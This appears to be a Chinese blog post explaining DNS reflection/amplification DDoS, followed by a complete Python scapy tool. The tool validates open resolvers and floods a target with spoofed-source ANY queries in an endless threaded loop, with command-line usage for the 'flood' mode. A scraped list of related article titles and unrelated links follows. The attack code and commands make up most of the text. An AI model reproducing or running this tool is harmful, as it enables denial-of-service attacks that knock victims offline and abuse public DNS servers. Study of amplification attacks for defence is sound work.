查询放大攻击的原理是,通过网络中存在的DNS服务器资源,对目标主机发起的拒绝服务攻击,其原理是伪造源地址为被攻击目标的地址,向DNS递归服务器发起查询请求,此时由于源IP是伪造的,固在DNS服务器回包的时候,会默认回给伪造的IP地址,从而使DNS服务成为了流量放大和攻击的实施者,通过查询大量的DNS服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS的目的。

此时我们使用scapy工具构建一个DNS请求数据包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2) 查询指定网站的DNS记录,结果如下。

上图可以看出,我们所发送的数据长度要小于接收到的数据长度,流量差不多被放大了3倍左右,我们只需要将源地址伪造为被害机器,并使用海量的DNS服务器作为僵尸主机发包,即可完成DDOS攻击。

这里需要在网上找一些DNS服务器。

import socket,os,sys
from scapy.all import *def Inspect_DNS_Usability(filename):proxy_list = []fp = open(filename,"r")for i in fp.readlines():try:addr = i.replace("\n","")respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)if respon != "":proxy_list.append(str(respon["IP"].src))except Exception:passreturn proxy_list
proxy = Inspect_DNS_Usability("./dnslist.log")
fp = open("pass.log","w+")
for item in proxy:fp.write(item + "\n")
fp.close()

验证好有效性以后,接着就是Python多线程发包测试了,scapy构建数据包时由于DNS数据包比较特殊,构建是应该按照顺序 IP/UDP/DNS来构建,以下代码可以完成发包测试

import socket,os,sys
from scapy.all import *# 构造IP数据包
ip_pack = IP()
ip_pack.src = "192.168.1.2"
ip_pack.dst = "8.8.8.8"# 构造UDP数据包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53# 构建DNS数据包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1# 构建DNSQR解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)

最终的完整代码如下所示,通过大量的DNS查询请求实现针对目标主机的拒绝服务.

import os,sys,threading,time
from scapy.all import *
import argparsedef Inspect_DNS_Usability(filename):proxy_list = []fp = open(filename,"r")for i in fp.readlines():try:addr = i.replace("\n","")respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)if respon != "":proxy_list.append(str(respon["IP"].src))except Exception:passreturn proxy_listdef DNS_Flood(target,dns):# 构造IP数据包ip_pack = IP()ip_pack.src = targetip_pack.dst = dns
#   ip_pack.src = "192.168.1.2"
#   ip_pack.dst = "8.8.8.8"# 构造UDP数据包udp_pack = UDP()udp_pack.sport = 53udp_pack.dport = 53# 构造DNS数据包dns_pack = DNS()dns_pack.rd = 1dns_pack.qdcount = 1# 构造DNSQR解析dnsqr_pack = DNSQR()dnsqr_pack.qname = "baidu.com"dnsqr_pack.qtype = 255dns_pack.qd = dnsqr_packrespon = (ip_pack/udp_pack/dns_pack)sr1(respon)def Banner():print("  _          ____  _                _    ")print(" | |   _   _/ ___|| |__   __ _ _ __| | __")print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")print(" | |__| |_| |___) | | | | (_| | |  |   < ")print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")print("       |___/                             \n")print("E-Mail: me@lyshark.com\n")if __name__ == "__main__":Banner()parser = argparse.ArgumentParser()parser.add_argument("--mode",dest="mode",help="选择执行命令<check=检查DNS可用性/flood=攻击>")parser.add_argument("-f","--file",dest="file",help="指定一个DNS字典,里面存储DNSIP地址")parser.add_argument("-t",dest="target",help="输入需要攻击的IP地址")args = parser.parse_args()if args.mode == "check" and args.file:proxy = Inspect_DNS_Usability(args.file)fp = open("pass.log","w+")for item in proxy:fp.write(item + "\n")fp.close()print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")elif args.mode == "flood" and args.target and args.file:with open(args.file,"r") as fp:countent = [line.rstrip("\n") for line in fp]while True:randomDNS = str(random.sample(countent,1)[0])print("[+] 目标主机: {} -----> 随机DNS: {}".format(args.target,randomDNS))t = threading.Thread(target=DNS_Flood,args=(args.target,randomDNS,))t.start()else:parser.print_help()

使用方式首先准备一个test.log里面一行一个存放所有的已知DNS列表,并通过check命令验证该DNS是否可用,并将可用的DNS保存为pass.log

  • main.py --mode=check -f dns.txt

当需要发起攻击时,只需要指定pass.log 文件,则自动使用该DNS列表进行批量查询。

  • main.py --mode=flood -f pass.log -t 192.168.1.1

Python 实现DNS查询放大攻击相关推荐

  1. DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器...

    DNS反射放大攻击分析 摘自:http://www.shaojike.com/2016/08/19/DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB%E7%AE%80%E ...

  2. DNS云学堂 | 如何防范一本万利的DNS反射放大攻击

    一.前言 DNS诞生于上世纪80年代,就像很多新的技术出现只是为了解决一些简单的问题一样,其诞生之初也仅仅是为了解决网络上主机数量爆炸性的增长.IP地址不便于记忆的问题.其发明者可能连自己也没有想到, ...

  3. 几种常见的攻击方式扫盲(二)——DNS 反射放大攻击

    https://cloud.tencent.com/developer/article/1463080

  4. 基于知识图谱的DNS Query Flood攻击检测研究

    摘要: 摘要: 针对具有成本低廉.破坏性大.防御困难特性的DNS Query Flood攻击,本文构建UDP请求的知识图谱.基于攻击者通过发送大量伪造源IP地址的小UDP包冲击DNS服务器实施攻击的原 ...

  5. MDNS的漏洞报告——mdns的最大问题是允许广域网的mdns单播查询,这会暴露设备信息,或者被利用用于dns放大攻击...

    Vulnerability Note VU#550620 Multicast DNS (mDNS) implementations may respond to unicast queries ori ...

  6. scapy模拟攻击_用scapy模拟DNS放大攻击

    首先,DNS放大攻击,简单解释有两点: 1.伪造源IP为其他人的ip地址 2.被请求的记录,要求比较大,比如TXT格式,4000KB 在A机器上,向DNS发送查询那个TXT的记录,并伪造成别人的ip, ...

  7. 如何防护 DNS 放大攻击?

    对于运行网站或服务的个人或公司来说,缓解选择并不多.这是因为,尽管个人或公司的服务器可能是攻击目标,但其并非容量耗尽攻击影响最大的地方.鉴于攻击所产生的大量流量,服务器周围的基础设施感受到影响.互联网 ...

  8. 【安全牛学习笔记】DNS放大攻击

    DNS放大攻击 产生大流量的攻击方法 - 单机的宽带的优势 - 巨大单机数量形成的流量汇聚 - 利用协议特性实现放大效果的流量 DNS协议放大效果 - 查询请求流量小,但响应流量可能非常巨大 - di ...

  9. linux ntp攻击python脚本,(转)如何发现 NTP 放大攻击漏洞

    转自:http://drops.wooyun.org/tips/4715 NTP 漏洞相关的文章在 Drops 已经有过了,并且不止一篇,之所以又翻译了这一片文章,是觉得文章的整体思路很不错,希望对看 ...

最新文章

  1. 【赠书】阿里巴巴官方出品,工业级知识图谱最新书籍领取!
  2. 在ABAP中将负号提前的方法
  3. 固执己见的框架(例如Spring Boot)的危险。 求知代码反转
  4. Lnmp环境安装禅道项目管理软件
  5. 在Exchange Server 2007中限制部分用户只能收发内部邮件
  6. spark任务shell运行_Spark原理与实战(七)部署模式与运行机制
  7. 2018年全国高校教师“Python编程、应用及华为大数据”培训班
  8. php图片添加代码,php图片添加文字水印实现代码_php技巧
  9. Spring Cloud Stream
  10. 获取URL Schema
  11. posix多线程有感--线程高级编程(线程调度以及优先级设置)
  12. intel和amd处理器发展历史
  13. 安徽省计算机一级选择题题库,计算机等级考试一级选择题题库
  14. python中如何调取wind数据_Python量化-使用wind接口获取数据
  15. 我的世界服务器雪球菜单无限雪球,我的世界:雪球玩法?关于指令的高端玩法,操作简单老玩家都在用...
  16. 服务器系统如用pe和做镜像,怎么用pe中的光盘镜像安装操作系统
  17. 2022年安全员-C证及安全员-C证作业考试题库
  18. 一文搞懂全排列、组合、子集问题
  19. L2-027 名人堂与代金券 (25point(s))(C语言)
  20. 十二星座的12种风味咖啡,最后一个能让你上瘾

热门文章

  1. 安装原版Windows
  2. word中设置英文单词按字符换行
  3. java calendar 下个月_使用Java中的Calendar类增加一个月
  4. android手机模拟屏幕点击
  5. 苹果手机软件升级密码_密码太多总是忘?不如试试这7个密保工具
  6. SSH 无密登录配置
  7. 关于使用Mybatis-plus中的一些问题
  8. [PeterDLax著泛函分析习题参考解答]第6章 Hilbert 空间
  9. SpringBoot之校园订餐系统全部源码,一键运行
  10. Electron 下载失败 install fail npm yarn cnpm